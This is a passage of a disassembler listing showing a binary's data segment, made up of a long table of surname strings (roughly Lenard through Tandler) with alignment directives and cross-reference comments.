'Lenard',0 ; DATA XREF: seg002:004404F0o align 4 aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: seg002:004404F4o align 4 aLesser db 'Lesser',0 ; DATA XREF: seg002:004404F8o align 4 aLessi db 'Lessi',0 ; DATA XREF: seg002:004404FCo align 4 aLiakos db 'Liakos',0 ; DATA XREF: seg002:00440500o align 4 aLidano db 'Lidano',0 ; DATA XREF: seg002:00440504o align 4 aLiem db 'Liem',0 ; DATA XREF: seg002:00440508o align 4 aLight db 'Light',0 ; DATA XREF: seg002:0044050Co align 4 aLightfoot db 'Lightfoot',0 ; DATA XREF: seg002:00440510o align 10h aLim db 'Lim',0 ; DATA XREF: seg002:00440514o aLinares db 'Linares',0 ; DATA XREF: seg002:00440518o aLinda db 'Linda',0 ; DATA XREF: seg002:0044051Co align 4 aLinder db 'Linder',0 ; DATA XREF: seg002:00440520o align 4 aLine_0 db 'Line',0 ; DATA XREF: seg002:00440524o align 4 aLinehan db 'Linehan',0 ; DATA XREF: seg002:00440528o aLinzee db 'Linzee',0 ; DATA XREF: seg002:0044052Co align 4 aLippmann db 'Lippmann',0 ; DATA XREF: seg002:00440530o align 10h aLipponen db 'Lipponen',0 ; DATA XREF: seg002:00440534o align 4 aLittle db 'Little',0 ; DATA XREF: seg002:00440538o align 4 aLitvak db 'Litvak',0 ; DATA XREF: seg002:0044053Co align 4 aLivernash db 'Livernash',0 ; DATA XREF: seg002:00440540o align 4 aLivi db 'Livi',0 ; DATA XREF: seg002:00440544o align 10h aLivolsi db 'Livolsi',0 ; DATA XREF: seg002:00440548o aLizardo db 'Lizardo',0 ; DATA XREF: seg002:0044054Co aLocatelli db 'Locatelli',0 ; DATA XREF: seg002:00440550o align 4 aLongworth db 'Longworth',0 ; DATA XREF: seg002:00440554o align 4 aLoss db 'Loss',0 ; DATA XREF: seg002:00440558o align 10h aLoveman db 'Loveman',0 ; DATA XREF: seg002:0044055Co aLowenstein db 'Lowenstein',0 ; DATA XREF: seg002:00440560o align 4 aLoza db 'Loza',0 ; DATA XREF: seg002:00440564o align 4 aLubin db 'Lubin',0 ; DATA XREF: seg002:00440568o align 4 aLucas db 'Lucas',0 ; DATA XREF: seg002:0044056Co align 4 aLuciano db 'Luciano',0 ; DATA XREF: seg002:00440570o aLuczkow db 'Luczkow',0 ; DATA XREF: seg002:00440574o aLuecke db 'Luecke',0 ; DATA XREF: seg002:00440578o align 4 aLunetta db 'Lunetta',0 ; DATA XREF: seg002:0044057Co aLuoma db 'Luoma',0 ; DATA XREF: seg002:00440580o align 4 aLussier db 'Lussier',0 ; DATA XREF: seg002:00440584o aLutcavage db 'Lutcavage',0 ; DATA XREF: seg002:00440588o align 4 aLuzader db 'Luzader',0 ; DATA XREF: seg002:0044058Co aMa db 'Ma',0 ; DATA XREF: seg002:00440590o align 4 aMaccormac db 'Maccormac',0 ; DATA XREF: seg002:00440594o align 10h aMacdonald db 'Macdonald',0 ; DATA XREF: seg002:00440598o align 4 aMaceachern db 'Maceachern',0 ; DATA XREF: seg002:0044059Co align 4 aMacintyre db 'Macintyre',0 ; DATA XREF: seg002:004405A0o align 4 aMackenney db 'Mackenney',0 ; DATA XREF: seg002:004405A4o align 10h aMacmillan db 'MacMillan',0 ; DATA XREF: seg002:004405A8o align 4 aMacy db 'Macy',0 ; DATA XREF: seg002:004405ACo align 4 aMadigan db 'Madigan',0 ; DATA XREF: seg002:004405B0o aMaggio db 'Maggio',0 ; DATA XREF: seg002:004405B4o align 4 aMahony db 'Mahony',0 ; DATA XREF: seg002:004405B8o align 4 aMaier db 'Maier',0 ; DATA XREF: seg002:004405BCo align 4 aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: seg002:004405C0o align 4 aMaisano db 'Maisano',0 ; DATA XREF: seg002:004405C4o aMalatesta db 'Malatesta',0 ; DATA XREF: seg002:004405C8o align 4 aMaller db 'Maller',0 ; DATA XREF: seg002:004405CCo align 10h aMalova db 'Malova',0 ; DATA XREF: seg002:004405D0o align 4 aManalis db 'Manalis',0 ; DATA XREF: seg002:004405D4o aMandel db 'Mandel',0 ; DATA XREF: seg002:004405D8o align 4 aManganiello db 'Manganiello',0 ; DATA XREF: seg002:004405DCo aMantovan db 'Mantovan',0 ; DATA XREF: seg002:004405E0o align 10h aMarch_0 db 'March',0 ; DATA XREF: seg002:004405E4o align 4 aMarchbanks db 'Marchbanks',0 ; DATA XREF: seg002:004405E8o align 4 aMarcus db 'Marcus',0 ; DATA XREF: seg002:004405ECo align 4 aMargalit db 'Margalit',0 ; DATA XREF: seg002:004405F0o align 4 aMargetts db 'Margetts',0 ; DATA XREF: seg002:004405F4o align 4 aMarques db 'Marques',0 ; DATA XREF: seg002:004405F8o aMartinez db 'Martinez',0 ; DATA XREF: seg002:004405FCo align 4 aMartochio db 'Martochio',0 ; DATA XREF: seg002:00440600o align 4 aMarton db 'Marton',0 ; DATA XREF: seg002:00440604o align 4 aMarubini db 'Marubini',0 ; DATA XREF: seg002:00440608o align 4 aMass db 'Mass',0 ; DATA XREF: seg002:0044060Co align 10h aMatalka db 'Matalka',0 ; DATA XREF: seg002:00440610o aMatarazzo db 'Matarazzo',0 ; DATA XREF: seg002:00440614o align 4 aMatsukata db 'Matsukata',0 ; DATA XREF: seg002:00440618o align 10h aMattson db 'Mattson',0 ; DATA XREF: seg002:0044061Co aMauzy db 'Mauzy',0 ; DATA XREF: seg002:00440620o align 10h aMay_0 db 'May',0 ; DATA XREF: seg002:00440624o aMazzali db 'Mazzali',0 ; DATA XREF: seg002:00440628o aMazziotta db 'Mazziotta',0 ; DATA XREF: seg002:0044062Co align 4 aMcbride db 'Mcbride',0 ; DATA XREF: seg002:00440630o aMccaffery db 'Mccaffery',0 ; DATA XREF: seg002:00440634o align 4 aMccall db 'Mccall',0 ; DATA XREF: seg002:00440638o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: seg002:0044063Co align 10h aMcdowell db 'Mcdowell',0 ; DATA XREF: seg002:00440640o align 4 aMcelroy db 'Mcelroy',0 ; DATA XREF: seg002:00440644o aMcfadden db 'McFadden',0 ; DATA XREF: seg002:00440648o align 10h aMcghee db 'Mcghee',0 ; DATA XREF: seg002:0044064Co align 4 aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: seg002:00440650o align 4 aMcilroy db 'McIlroy',0 ; DATA XREF: seg002:00440654o aMcintosh db 'Mcintosh',0 ; DATA XREF: seg002:00440658o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: seg002:0044065Co aMclane db 'Mclane',0 ; DATA XREF: seg002:00440660o align 4 aMclaren db 'Mclaren',0 ; DATA XREF: seg002:00440664o aMcnealy db 'Mcnealy',0 ; DATA XREF: seg002:00440668o aMcnulty db 'Mcnulty',0 ; DATA XREF: seg002:0044066Co aMeccariello db 'Meccariello',0 ; DATA XREF: seg002:00440670o aMemisoglu db 'Memisoglu',0 ; DATA XREF: seg002:00440674o align 4 aMenzies db 'Menzies',0 ; DATA XREF: seg002:00440678o aMerikoski db 'Merikoski',0 ; DATA XREF: seg002:0044067Co align 4 aMerlani db 'Merlani',0 ; DATA XREF: seg002:00440680o aMerminod db 'Merminod',0 ; DATA XREF: seg002:00440684o align 10h aMerseth db 'Merseth',0 ; DATA XREF: seg002:00440688o aMerz db 'Merz',0 ; DATA XREF: seg002:0044068Co align 10h aMetelka db 'Metelka',0 ; DATA XREF: seg002:00440690o aMetropolis db 'Metropolis',0 ; DATA XREF: seg002:00440694o align 4 aMeurer db 'Meurer',0 ; DATA XREF: seg002:00440698o align 4 aMichelman db 'Michelman',0 ; DATA XREF: seg002:0044069Co align 4 aMiddle db 'Middle',0 ; DATA XREF: seg002:004406A0o align 10h aMieher db 'Mieher',0 ; DATA XREF: seg002:004406A4o align 4 aMills db 'Mills',0 ; DATA XREF: seg002:004406A8o align 10h aMinh db 'Minh',0 ; DATA XREF: seg002:004406ACo align 4 aMini db 'Mini',0 ; DATA XREF: seg002:004406B0o align 10h aMinichiello db 'Minichiello',0 ; DATA XREF: seg002:004406B4o aGonzalez db 'Gonzalez',0 ; DATA XREF: seg002:004406B8o align 4 aMitropoulos db 'Mitropoulos',0 ; DATA XREF: seg002:004406BCo aMittal db 'Mittal',0 ; DATA XREF: seg002:004406C0o align 4 aMocroft db 'Mocroft',0 ; DATA XREF: seg002:004406C4o aModestino db 'Modestino',0 ; DATA XREF: seg002:004406C8o align 10h aMoeller db 'Moeller',0 ; DATA XREF: seg002:004406CCo aMohr db 'Mohr',0 ; DATA XREF: seg002:004406D0o align 10h aMoiamedi db 'Moiamedi',0 ; DATA XREF: seg002:004406D4o align 4 aMonque db 'Monque',0 ; DATA XREF: seg002:004406D8o align 4 aMontilio db 'Montilio',0 ; DATA XREF: seg002:004406DCo align 10h aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: seg002:004406E0o align 4 aMorani db 'Morani',0 ; DATA XREF: seg002:004406E4o align 4 aMoreton db 'Moreton',0 ; DATA XREF: seg002:004406E8o aMorrison db 'Morrison',0 ; DATA XREF: seg002:004406ECo align 4 aMorrow db 'Morrow',0 ; DATA XREF: seg002:004406F0o align 10h aMortimer db 'Mortimer',0 ; DATA XREF: seg002:004406F4o align 4 aMosher db 'Mosher',0 ; DATA XREF: seg002:004406F8o align 4 aMosler db 'Mosler',0 ; DATA XREF: seg002:004406FCo align 4 aMostafavi db 'Mostafavi',0 ; DATA XREF: seg002:00440700o align 4 aMotooka db 'Motooka',0 ; DATA XREF: seg002:00440704o aMudarri db 'Mudarri',0 ; DATA XREF: seg002:00440708o aMuello db 'Muello',0 ; DATA XREF: seg002:0044070Co align 10h aMugnai db 'Mugnai',0 ; DATA XREF: seg002:00440710o align 4 aMulkern db 'Mulkern',0 ; DATA XREF: seg002:00440714o aMulroy db 'Mulroy',0 ; DATA XREF: seg002:00440718o align 4 aMumford db 'Mumford',0 ; DATA XREF: seg002:0044071Co aMussachio db 'Mussachio',0 ; DATA XREF: seg002:00440720o align 4 aNaddeo db 'Naddeo',0 ; DATA XREF: seg002:00440724o align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: seg002:00440728o align 10h aNardi db 'Nardi',0 ; DATA XREF: seg002:0044072Co align 4 aNardone db 'Nardone',0 ; DATA XREF: seg002:00440730o aNaviaux db 'Naviaux',0 ; DATA XREF: seg002:00440734o aNayduch db 'Nayduch',0 ; DATA XREF: seg002:00440738o aNelson db 'Nelson',0 ; DATA XREF: seg002:0044073Co align 4 aNenna db 'Nenna',0 ; DATA XREF: seg002:00440740o align 10h aNesci db 'Nesci',0 ; DATA XREF: seg002:00440744o align 4 aNeuman db 'Neuman',0 ; DATA XREF: seg002:00440748o align 10h aNewfeld db 'Newfeld',0 ; DATA XREF: seg002:0044074Co aNewlin db 'Newlin',0 ; DATA XREF: seg002:00440750o align 10h aNg db 'Ng',0 ; DATA XREF: seg002:00440754o align 4 aNi_0 db 'Ni',0 ; DATA XREF: seg002:00440758o align 4 aNickerson db 'Nickerson',0 ; DATA XREF: seg002:0044075Co align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: seg002:00440760o align 10h aNisenson db 'Nisenson',0 ; DATA XREF: seg002:00440764o align 4 aNitabach db 'Nitabach',0 ; DATA XREF: seg002:00440768o align 4 aNotman db 'Notman',0 ; DATA XREF: seg002:0044076Co align 10h aNuzum db 'Nuzum',0 ; DATA XREF: seg002:00440770o align 4 aOcougne db 'Ocougne',0 ; DATA XREF: seg002:00440774o aOgata db 'Ogata',0 ; DATA XREF: seg002:00440778o align 4 aOh db 'Oh',0 ; DATA XREF: seg002:0044077Co align 4 aOHagan db 'O',27h,'hagan',0 ; DATA XREF: seg002:00440780o aOldford db 'Oldford',0 ; DATA XREF: seg002:00440784o aOlsen db 'Olsen',0 ; DATA XREF: seg002:00440788o align 4 aOlson db 'Olson',0 ; DATA XREF: seg002:0044078Co align 4 aOlszewski db 'Olszewski',0 ; DATA XREF: seg002:00440790o align 4 aOMalley db 'O',27h,'malley',0 ; DATA XREF: seg002:00440794o align 4 aOman db 'Oman',0 ; DATA XREF: seg002:00440798o align 4 aOMeara db 'O',27h,'meara',0 ; DATA XREF: seg002:0044079Co aOpel db 'Opel',0 ; DATA XREF: seg002:004407A0o align 4 aOray db 'Oray',0 ; DATA XREF: seg002:004407A4o align 4 aOrfield db 'Orfield',0 ; DATA XREF: seg002:004407A8o aOrsi db 'Orsi',0 ; DATA XREF: seg002:004407ACo align 4 aOspina db 'Ospina',0 ; DATA XREF: seg002:004407B0o align 4 aOstrowski db 'Ostrowski',0 ; DATA XREF: seg002:004407B4o align 4 aOttaviani db 'Ottaviani',0 ; DATA XREF: seg002:004407B8o align 4 aOtten db 'Otten',0 ; DATA XREF: seg002:004407BCo align 4 aOuchida db 'Ouchida',0 ; DATA XREF: seg002:004407C0o aOvid db 'Ovid',0 ; DATA XREF: seg002:004407C4o align 4 aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: seg002:004407C8o align 4 aPaine db 'Paine',0 ; DATA XREF: seg002:004407CCo align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: seg002:004407D0o align 10h aPalepu db 'Palepu',0 ; DATA XREF: seg002:004407D4o align 4 aPallara db 'Pallara',0 ; DATA XREF: seg002:004407D8o aPalmitesta db 'Palmitesta',0 ; DATA XREF: seg002:004407DCo align 4 aPanadero db 'Panadero',0 ; DATA XREF: seg002:004407E0o align 4 aPanizzon db 'Panizzon',0 ; DATA XREF: seg002:004407E4o align 4 aPantilla db 'Pantilla',0 ; DATA XREF: seg002:004407E8o align 10h aPaoletti db 'Paoletti',0 ; DATA XREF: seg002:004407ECo align 4 aParmeggiani db 'Parmeggiani',0 ; DATA XREF: seg002:004407F0o aParris db 'Parris',0 ; DATA XREF: seg002:004407F4o align 10h aPartridge db 'Partridge',0 ; DATA XREF: seg002:004407F8o align 4 aPascucci db 'Pascucci',0 ; DATA XREF: seg002:004407FCo align 4 aPatefield db 'Patefield',0 ; DATA XREF: seg002:00440800o align 4 aPatrick db 'Patrick',0 ; DATA XREF: seg002:00440804o aPattullo db 'Pattullo',0 ; DATA XREF: seg002:00440808o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: seg002:0044080Co aPavlon db 'Pavlon',0 ; DATA XREF: seg002:00440810o align 4 aPawloski db 'Pawloski',0 ; DATA XREF: seg002:00440814o align 4 aPaynter db 'Paynter',0 ; DATA XREF: seg002:00440818o aPeabody db 'Peabody',0 ; DATA XREF: seg002:0044081Co aPearlberg db 'Pearlberg',0 ; DATA XREF: seg002:00440820o align 10h aPederson db 'Pederson',0 ; DATA XREF: seg002:00440824o align 4 aPeishel db 'Peishel',0 ; DATA XREF: seg002:00440828o aPenny db 'Penny',0 ; DATA XREF: seg002:0044082Co align 4 aPereira db 'Pereira',0 ; DATA XREF: seg002:00440830o aPerko db 'Perko',0 ; DATA XREF: seg002:00440834o align 4 aPerlak db 'Perlak',0 ; DATA XREF: seg002:00440838o align 4 aPerlman db 'Perlman',0 ; DATA XREF: seg002:0044083Co aPerna db 'Perna',0 ; DATA XREF: seg002:00440840o align 4 aPerone db 'Perone',0 ; DATA XREF: seg002:00440844o align 4 aPerrimon db 'Perrimon',0 ; DATA XREF: seg002:00440848o align 4 aPeters db 'Peters',0 ; DATA XREF: seg002:0044084Co align 10h aPetruzello db 'Petruzello',0 ; DATA XREF: seg002:00440850o align 4 aPettibone db 'Pettibone',0 ; DATA XREF: seg002:00440854o align 4 aPettit db 'Pettit',0 ; DATA XREF: seg002:00440858o align 10h aPfister db 'Pfister',0 ; DATA XREF: seg002:0044085Co aPilbeam db 'Pilbeam',0 ; DATA XREF: seg002:00440860o aPinot db 'Pinot',0 ; DATA XREF: seg002:00440864o align 4 aPlancon db 'Plancon',0 ; DATA XREF: seg002:00440868o aPlant db 'Plant',0 ; DATA XREF: seg002:0044086Co align 4 aPlasket db 'Plasket',0 ; DATA XREF: seg002:00440870o aPlous db 'Plous',0 ; DATA XREF: seg002:00440874o align 4 aPo db 'Po',0 ; DATA XREF: seg002:00440878o align 4 aPocobene db 'Pocobene',0 ; DATA XREF: seg002:0044087Co align 4 aPoincaire db 'Poincaire',0 ; DATA XREF: seg002:00440880o align 4 aPointer db 'Pointer',0 ; DATA XREF: seg002:00440884o aPoirier db 'Poirier',0 ; DATA XREF: seg002:00440888o aPolak db 'Polak',0 ; DATA XREF: seg002:0044088Co align 4 aPolanyi db 'Polanyi',0 ; DATA XREF: seg002:00440890o aPolitis db 'Politis',0 ; DATA XREF: seg002:00440894o aPoma db 'Poma',0 ; DATA XREF: seg002:00440898o align 4 aPoolman db 'Poolman',0 ; DATA XREF: seg002:0044089Co aPowers db 'Powers',0 ; DATA XREF: seg002:004408A0o align 4 aPresper db 'Presper',0 ; DATA XREF: seg002:004408A4o aPreucel db 'Preucel',0 ; DATA XREF: seg002:004408A8o aPrevost db 'Prevost',0 ; DATA XREF: seg002:004408ACo aPritchard db 'Pritchard',0 ; DATA XREF: seg002:004408B0o align 4 aPritz db 'Pritz',0 ; DATA XREF: seg002:004408B4o align 10h aProietti db 'Proietti',0 ; DATA XREF: seg002:004408B8o align 4 aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: seg002:004408BCo align 4 aPuccia db 'Puccia',0 ; DATA XREF: seg002:004408C0o align 4 aPugh db 'Pugh',0 ; DATA XREF: seg002:004408C4o align 4 aPynchon db 'Pynchon',0 ; DATA XREF: seg002:004408C8o aQuaday db 'Quaday',0 ; DATA XREF: seg002:004408CCo align 4 aQuetin db 'Quetin',0 ; DATA XREF: seg002:004408D0o align 4 aRabe db 'Rabe',0 ; DATA XREF: seg002:004408D4o align 4 aRabkin db 'Rabkin',0 ; DATA XREF: seg002:004408D8o align 4 aRadeke db 'Radeke',0 ; DATA XREF: seg002:004408DCo align 4 aRajagopalan db 'Rajagopalan',0 ; DATA XREF: seg002:004408E0o aRaney db 'Raney',0 ; DATA XREF: seg002:004408E4o align 10h aRangan db 'Rangan',0 ; DATA XREF: seg002:004408E8o align 4 aRankin db 'Rankin',0 ; DATA XREF: seg002:004408ECo align 10h aRapple db 'Rapple',0 ; DATA XREF: seg002:004408F0o align 4 aRayport db 'Rayport',0 ; DATA XREF: seg002:004408F4o aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: seg002:004408F8o align 10h aReedquist db 'Reedquist',0 ; DATA XREF: seg002:004408FCo align 4 aCunningham db 'Cunningham',0 ; DATA XREF: seg002:00440900o align 4 aReinold db 'Reinold',0 ; DATA XREF: seg002:00440904o aRemak db 'Remak',0 ; DATA XREF: seg002:00440908o align 4 aRenick db 'Renick',0 ; DATA XREF: seg002:0044090Co align 10h aRepetto db 'Repetto',0 ; DATA XREF: seg002:00440910o aResnik db 'Resnik',0 ; DATA XREF: seg002:00440914o align 10h aRhea db 'Rhea',0 ; DATA XREF: seg002:00440918o align 4 aRichmond db 'Richmond',0 ; DATA XREF: seg002:0044091Co align 4 aRielly db 'Rielly',0 ; DATA XREF: seg002:00440920o align 4 aRindos db 'Rindos',0 ; DATA XREF: seg002:00440924o align 4 aRineer db 'Rineer',0 ; DATA XREF: seg002:00440928o align 4 aRish db 'Rish',0 ; DATA XREF: seg002:0044092Co align 4 aRivera db 'Rivera',0 ; DATA XREF: seg002:00440930o align 4 aRobinson db 'Robinson',0 ; DATA XREF: seg002:00440934o align 4 aRocha db 'Rocha',0 ; DATA XREF: seg002:00440938o align 10h aRoesler db 'Roesler',0 ; DATA XREF: seg002:0044093Co aRogers db 'Rogers',0 ; DATA XREF: seg002:00440940o align 10h aRonen db 'Ronen',0 ; DATA XREF: seg002:00440944o align 4 aRow db 'Row',0 ; DATA XREF: seg002:00440948o aRoyal db 'Royal',0 ; DATA XREF: seg002:0044094Co align 4 aRu db 'Ru',0 ; DATA XREF: seg002:00440950o align 4 aRuan db 'Ruan',0 ; DATA XREF: seg002:00440954o align 10h aRuderman db 'Ruderman',0 ; DATA XREF: seg002:00440958o align 4 aRuescher db 'Ruescher',0 ; DATA XREF: seg002:0044095Co align 4 aRush db 'Rush',0 ; DATA XREF: seg002:00440960o align 10h aRyu db 'Ryu',0 ; DATA XREF: seg002:00440964o aSabatello db 'Sabatello',0 ; DATA XREF: seg002:00440968o align 10h aSadler db 'Sadler',0 ; DATA XREF: seg002:0044096Co align 4 aSafire db 'Safire',0 ; DATA XREF: seg002:00440970o align 10h aSahu db 'Sahu',0 ; DATA XREF: seg002:00440974o align 4 aSali db 'Sali',0 ; DATA XREF: seg002:00440978o align 10h aSamson db 'Samson',0 ; DATA XREF: seg002:0044097Co align 4 aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: seg002:00440980o aSanna db 'Sanna',0 ; DATA XREF: seg002:00440984o align 10h aSapers db 'Sapers',0 ; DATA XREF: seg002:00440988o align 4 aSarin db 'Sarin',0 ; DATA XREF: seg002:0044098Co align 10h aSartore db 'Sartore',0 ; DATA XREF: seg002:00440990o aSase db 'Sase',0 ; DATA XREF: seg002:00440994o align 10h aSatin db 'Satin',0 ; DATA XREF: seg002:00440998o align 4 aSatta db 'Satta',0 ; DATA XREF: seg002:0044099Co align 10h aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: seg002:004409A0o align 10h aSawtell db 'Sawtell',0 ; DATA XREF: seg002:004409A4o aSayied db 'Sayied',0 ; DATA XREF: seg002:004409A8o align 10h aScarponi db 'Scarponi',0 ; DATA XREF: seg002:004409ACo align 4 aScepan db 'Scepan',0 ; DATA XREF: seg002:004409B0o align 4 aScharf db 'Scharf',0 ; DATA XREF: seg002:004409B4o align 4 aScharlemann db 'Scharlemann',0 ; DATA XREF: seg002:004409B8o aScheiner db 'Scheiner',0 ; DATA XREF: seg002:004409BCo align 4 aSchiano db 'Schiano',0 ; DATA XREF: seg002:004409C0o aSchifini db 'Schifini',0 ; DATA XREF: seg002:004409C4o align 4 aSchilling db 'Schilling',0 ; DATA XREF: seg002:004409C8o align 4 aSchmitt db 'Schmitt',0 ; DATA XREF: seg002:004409CCo aSchossberger db 'Schossberger',0 ; DATA XREF: seg002:004409D0o align 4 aSchuman db 'Schuman',0 ; DATA XREF: seg002:004409D4o aSchutte db 'Schutte',0 ; DATA XREF: seg002:004409D8o aSchuyler db 'Schuyler',0 ; DATA XREF: seg002:004409DCo align 4 aSchwan db 'Schwan',0 ; DATA XREF: seg002:004409E0o align 10h aSchwickrath db 'Schwickrath',0 ; DATA XREF: seg002:004409E4o aScovel db 'Scovel',0 ; DATA XREF: seg002:004409E8o align 4 aScudder db 'Scudder',0 ; DATA XREF: seg002:004409ECo aSeaton db 'Seaton',0 ; DATA XREF: seg002:004409F0o align 4 aSeeber db 'Seeber',0 ; DATA XREF: seg002:004409F4o align 4 aSegal db 'Segal',0 ; DATA XREF: seg002:004409F8o align 4 aSekler db 'Sekler',0 ; DATA XREF: seg002:004409FCo align 4 aSelvage db 'Selvage',0 ; DATA XREF: seg002:00440A00o aSen db 'Sen',0 ; DATA XREF: seg002:00440A04o aSennett db 'Sennett',0 ; DATA XREF: seg002:00440A08o aSeterdahl db 'Seterdahl',0 ; DATA XREF: seg002:00440A0Co align 4 aSexton db 'Sexton',0 ; DATA XREF: seg002:00440A10o align 4 aSeyfert db 'Seyfert',0 ; DATA XREF: seg002:00440A14o aShaikh db 'Shaikh',0 ; DATA XREF: seg002:00440A18o align 4 aShakis db 'Shakis',0 ; DATA XREF: seg002:00440A1Co align 4 aShankland db 'Shankland',0 ; DATA XREF: seg002:00440A20o align 4 aShanley db 'Shanley',0 ; DATA XREF: seg002:00440A24o aShar db 'Shar',0 ; DATA XREF: seg002:00440A28o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: seg002:00440A2Co aShavelson db 'Shavelson',0 ; DATA XREF: seg002:00440A30o align 4 aShea db 'Shea',0 ; DATA XREF: seg002:00440A34o align 4 aSheats db 'Sheats',0 ; DATA XREF: seg002:00440A38o align 4 aShepherd db 'Shepherd',0 ; DATA XREF: seg002:00440A3Co align 4 aSheppard db 'Sheppard',0 ; DATA XREF: seg002:00440A40o align 4 aShepstone db 'Shepstone',0 ; DATA XREF: seg002:00440A44o align 10h aShesko db 'Shesko',0 ; DATA XREF: seg002:00440A48o align 4 aShia db 'Shia',0 ; DATA XREF: seg002:00440A4Co align 10h aShibata db 'Shibata',0 ; DATA XREF: seg002:00440A50o aShimon db 'Shimon',0 ; DATA XREF: seg002:00440A54o align 10h aSiesto db 'Siesto',0 ; DATA XREF: seg002:00440A58o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: seg002:00440A5Co aSigini db 'Sigini',0 ; DATA XREF: seg002:00440A60o align 4 aSigna db 'Signa',0 ; DATA XREF: seg002:00440A64o align 10h aSilverman db 'Silverman',0 ; DATA XREF: seg002:00440A68o align 4 aSilvetti db 'Silvetti',0 ; DATA XREF: seg002:00440A6Co align 4 aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: seg002:00440A70o align 4 aSirilli db 'Sirilli',0 ; DATA XREF: seg002:00440A74o aSites db 'Sites',0 ; DATA XREF: seg002:00440A78o align 4 aSkane db 'Skane',0 ; DATA XREF: seg002:00440A7Co align 4 aSkerry db 'Skerry',0 ; DATA XREF: seg002:00440A80o align 4 aSkoda db 'Skoda',0 ; DATA XREF: seg002:00440A84o align 4 aSloan db 'Sloan',0 ; DATA XREF: seg002:00440A88o align 4 aSlowe db 'Slowe',0 ; DATA XREF: seg002:00440A8Co align 4 aSmilow db 'Smilow',0 ; DATA XREF: seg002:00440A90o align 4 aSniffen db 'Sniffen',0 ; DATA XREF: seg002:00440A94o aSnodgrass db 'Snodgrass',0 ; DATA XREF: seg002:00440A98o align 4 aSocolow db 'Socolow',0 ; DATA XREF: seg002:00440A9Co aSolon db 'Solon',0 ; DATA XREF: seg002:00440AA0o align 4 aSomers db 'Somers',0 ; DATA XREF: seg002:00440AA4o align 10h aSommariva db 'Sommariva',0 ; DATA XREF: seg002:00440AA8o align 4 aSorabella db 'Sorabella',0 ; DATA XREF: seg002:00440AACo align 4 aSorg db 'Sorg',0 ; DATA XREF: seg002:00440AB0o align 10h aSottak db 'Sottak',0 ; DATA XREF: seg002:00440AB4o align 4 aSoukup db 'Soukup',0 ; DATA XREF: seg002:00440AB8o align 10h aSoule db 'Soule',0 ; DATA XREF: seg002:00440ABCo align 4 aSoultanian db 'Soultanian',0 ; DATA XREF: seg002:00440AC0o align 4 aSpanier db 'Spanier',0 ; DATA XREF: seg002:00440AC4o aSparrow db 'Sparrow',0 ; DATA XREF: seg002:00440AC8o aSpaulding db 'Spaulding',0 ; DATA XREF: seg002:00440ACCo align 10h aSpeizer db 'Speizer',0 ; DATA XREF: seg002:00440AD0o aSpence db 'Spence',0 ; DATA XREF: seg002:00440AD4o align 10h aSperber db 'Sperber',0 ; DATA XREF: seg002:00440AD8o aSpicer db 'Spicer',0 ; DATA XREF: seg002:00440ADCo align 10h aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: seg002:00440AE0o align 10h aSpiliotis db 'Spiliotis',0 ; DATA XREF: seg002:00440AE4o align 4 aSpinrad db 'Spinrad',0 ; DATA XREF: seg002:00440AE8o aStmartin db 'StMartin',0 ; DATA XREF: seg002:00440AECo align 10h aStalvey db 'Stalvey',0 ; DATA XREF: seg002:00440AF0o aStam db 'Stam',0 ; DATA XREF: seg002:00440AF4o align 10h aStang db 'Stang',0 ; DATA XREF: seg002:00440AF8o align 4 aStassinopolus db 'Stassinopolus',0 ; DATA XREF: seg002:00440AFCo align 4 aStates db 'States',0 ; DATA XREF: seg002:00440B00o align 10h aStatlender db 'Statlender',0 ; DATA XREF: seg002:00440B04o align 4 aStefani db 'Stefani',0 ; DATA XREF: seg002:00440B08o aSteiner db 'Steiner',0 ; DATA XREF: seg002:00440B0Co aStephanian db 'Stephanian',0 ; DATA XREF: seg002:00440B10o align 4 aStepniewska db 'Stepniewska',0 ; DATA XREF: seg002:00440B14o aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: seg002:00440B18o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: seg002:00440B1Co align 10h aStillwell db 'Stillwell',0 ; DATA XREF: seg002:00440B20o align 4 aStock db 'Stock',0 ; DATA XREF: seg002:00440B24o align 4 aStockton db 'Stockton',0 ; DATA XREF: seg002:00440B28o align 10h aStockwell db 'Stockwell',0 ; DATA XREF: seg002:00440B2Co align 4 aStolzenberg db 'Stolzenberg',0 ; DATA XREF: seg002:00440B30o aStonich db 'Stonich',0 ; DATA XREF: seg002:00440B34o aStorer db 'Storer',0 ; DATA XREF: seg002:00440B38o align 4 aStott db 'Stott',0 ; DATA XREF: seg002:00440B3Co align 10h aStrange db 'Strange',0 ; DATA XREF: seg002:00440B40o aStrauch db 'Strauch',0 ; DATA XREF: seg002:00440B44o aStreiff db 'Streiff',0 ; DATA XREF: seg002:00440B48o aStringer db 'Stringer',0 ; DATA XREF: seg002:00440B4Co align 4 aSullivan db 'Sullivan',0 ; DATA XREF: seg002:00440B50o align 10h aSumner db 'Sumner',0 ; DATA XREF: seg002:00440B54o align 4 aSuo db 'Suo',0 ; DATA XREF: seg002:00440B58o aSurdam db 'Surdam',0 ; DATA XREF: seg002:00440B5Co align 4 aSweeting db 'Sweeting',0 ; DATA XREF: seg002:00440B60o align 10h aSweetser db 'Sweetser',0 ; DATA XREF: seg002:00440B64o align 4 aSwindle db 'Swindle',0 ; DATA XREF: seg002:00440B68o aTagiuri db 'Tagiuri',0 ; DATA XREF: seg002:00440B6Co aTai db 'Tai',0 ; DATA XREF: seg002:00440B70o aTalaugon db 'Talaugon',0 ; DATA XREF: seg002:00440B74o align 4 aTambiah db 'Tambiah',0 ; DATA XREF: seg002:00440B78o aTandler db 'Tandler',0 ; DATA 